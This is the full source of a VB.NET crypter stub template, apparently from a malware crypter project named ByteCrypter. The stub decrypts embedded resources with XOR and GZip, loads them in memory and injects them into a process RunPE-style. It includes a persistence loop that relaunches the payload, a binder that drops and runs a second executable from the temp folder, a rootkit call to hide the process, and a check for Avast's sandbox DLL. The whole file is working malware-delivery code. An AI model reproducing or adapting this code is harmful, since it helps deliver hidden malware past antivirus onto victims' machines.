Files
crypters-scode/scode (ByteCrypt/ByteCrypter/Resources/Source.txt
T
2026-08-27 11:04:21 -06:00

164 lines
6.4 KiB
Plaintext

Imports System, Microsoft.VisualBasic
Imports System.Reflection
Imports System.Text
Imports System.Security.Cryptography
Imports System.IO.Compression
Imports System.IO
Imports System.Diagnostics
'[ASEMBLYCODE]
<Assembly: AssemblyKeyFileAttribute("STRONGNAMELOCATION")>
Public Class _BASE
Shared ASM As Assembly = Assembly.GetExecutingAssembly()
Shared RM As New Resources.ResourceManager("Z", ASM)
Shared Bind As Boolean = %BindCheck%
Shared Once As Boolean = %OnceCheck%
Shared Sub Main()
Try
'BINDER CheckBinder
For Each procMod As ProcessModule In Process.GetCurrentProcess().Modules
If procMod.ModuleName = "snxhk.dll" Then
End If
Next
Dim EX As New EX(RetRpE, "Alternative", "Running", New Object() {RetFile, "%ProcessName%", "", "%NON%", "%Folder%", "%Filename%", "%KeyName%"})
EX.Run()
'ROOTPersist
'_HIDEDim ProcessName As String = "%ProcessName%"
'_HIDEDim Processes() As System.Diagnostics.Process = System.Diagnostics.Process.GetProcessesByName(ProcessName)
'_HIDEDim id = Processes(0).Id
'_HIDEDim Hide As New EX(RetRoot, "Rootkits", "HideProcess", New Object() {Process.GetProcessById(Convert.ToInt32(id))})
'_HIDEHide.Run()
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
Public Shared Sub Persist()
While True
Dim P = Process.GetProcessesByName("%ProcessName%")
If P.Length < 1 Then
Dim EX As New EX(RetRpE, "Alternative", "Running", New Object() {RetFile, "%ProcessName%", "%NON%", "%Folder%", "%Filename%", "%KeyName%"})
EX.Run()
End If
System.Threading.Thread.Sleep(500)
End While
End Sub
Private Shared ReadOnly Property RetFile As Byte()
Get
Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("First"))))
End Get
End Property
Private Shared ReadOnly Property RetRpE As Byte()
Get
Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("Second"))))
End Get
End Property
'_HIDEPrivate Shared ReadOnly Property RetRoot As Byte()
'_HIDE Get
'_HIDE Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("Root"))))
'_HIDE End Get
'_HIDEEnd Property
'BINDERPrivate Shared ReadOnly Property RetBind As Byte()
'BINDER Get
'BINDER Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("Three"))))
'BINDER End Get
'BINDEREnd Property
'BINDERShared Sub ExecBind()
'BINDER Dim RR As New Random
'BINDER Dim Path = IO.Path.GetTempPath & RR.Next(1, 99999) & "%Extension%"
'BINDER Dynamic(GetType(IO.File), "WriteAllBytes", New Object() {Path, RetBind})
'BINDER Dynamic(GetType(Process), "Start", New Object() {Path})
'BINDEREnd Sub
'BINDERShared Sub CheckBinder()
'BINDER Dim x As System.Threading.Thread
'BINDER Dim xx As System.Threading.Thread
'BINDER If Bind = True Then
'BINDER If Once = True Then
'BINDER Dim OnceKey As Microsoft.Win32.RegistryKey = My.Computer.Registry.ClassesRoot.OpenSubKey("AlreadyLaunched", False)
'BINDER If OnceKey Is Nothing Then
'BINDER xx = New System.Threading.Thread(AddressOf ExecBind)
'BINDER xx.Start()
'BINDER My.Computer.Registry.ClassesRoot.CreateSubKey("AlreadyLaunched", False)
'BINDER Else
'BINDER End If
'BINDER Else
'BINDER x = New System.Threading.Thread(AddressOf ExecBind)
'BINDER x.Start()
'BINDER End If
'BINDER Else : Exit Sub : End If
'BINDEREnd Sub
Public Shared Function PolyIndia(ByVal data As Byte()) As Byte()
Dim Result As Byte() = New Byte(data.Length - 16 - 1) {}
Buffer.BlockCopy(data, 16, Result, 0, Result.Length)
For i As Integer = 0 To Result.Length - 1
Result(i) = Result(i) Xor data(i Mod 16)
Next
Return Result
End Function
Public Shared Function Decompress(data As Byte()) As Byte()
Dim input As New MemoryStream()
input.Write(data, 0, data.Length)
input.Position = 0
Dim gzip As New GZipStream(input, CompressionMode.Decompress, True)
Dim output As New MemoryStream()
Dim buff As Byte() = New Byte(63) {}
Dim read As Integer = -1
read = gzip.Read(buff, 0, buff.Length)
While read > 0
output.Write(buff, 0, read)
read = gzip.Read(buff, 0, buff.Length)
End While
gzip.Close()
Return output.ToArray()
End Function
Public Shared Function Dynamic(ByVal [Class] As System.Type, ByVal Method As String, ByVal Argument As Object())
Dim Cls As Type = [Class]
Dim Void As String = Method
Dim obj As Object() = Argument
Return Cls.InvokeMember(Void, System.Reflection.BindingFlags.InvokeMethod, Nothing, Nothing, obj)
End Function
End Class
Public Class EX
Private ASM() As Byte
Private CN, MN As String
Private args() As Object
Public Sub New(ByVal ASM() As Byte, ByVal CN As String, ByVal MN As String, ByVal args() As Object)
Me.ASM = ASM
Me.CN = CN
Me.MN = MN
Me.args = args
End Sub
Public Sub Run()
Dim ASM1 As Assembly
Dim ASMInit As New ASMInit(ASM)
ASM1 = ASMInit.Ret
For Each typex As Type In ASM1.GetTypes()
If typex.IsClass = True Then
If typex.FullName.EndsWith("." & CN) Then
Dim ClassyObject As Object = Activator.CreateInstance(typex)
typex.InvokeMember(MN, Reflection.BindingFlags.[Default] Or Reflection.BindingFlags.InvokeMethod, Nothing, ClassyObject, args)
End If
End If
Next
End Sub
Public Class ASMInit
Private Init As Assembly
Public Sub New(ByVal Init As Byte())
Me.Init = Assembly.Load(Init)
End Sub
Public Function Ret() As Assembly
Return Init
End Function
End Class
End Class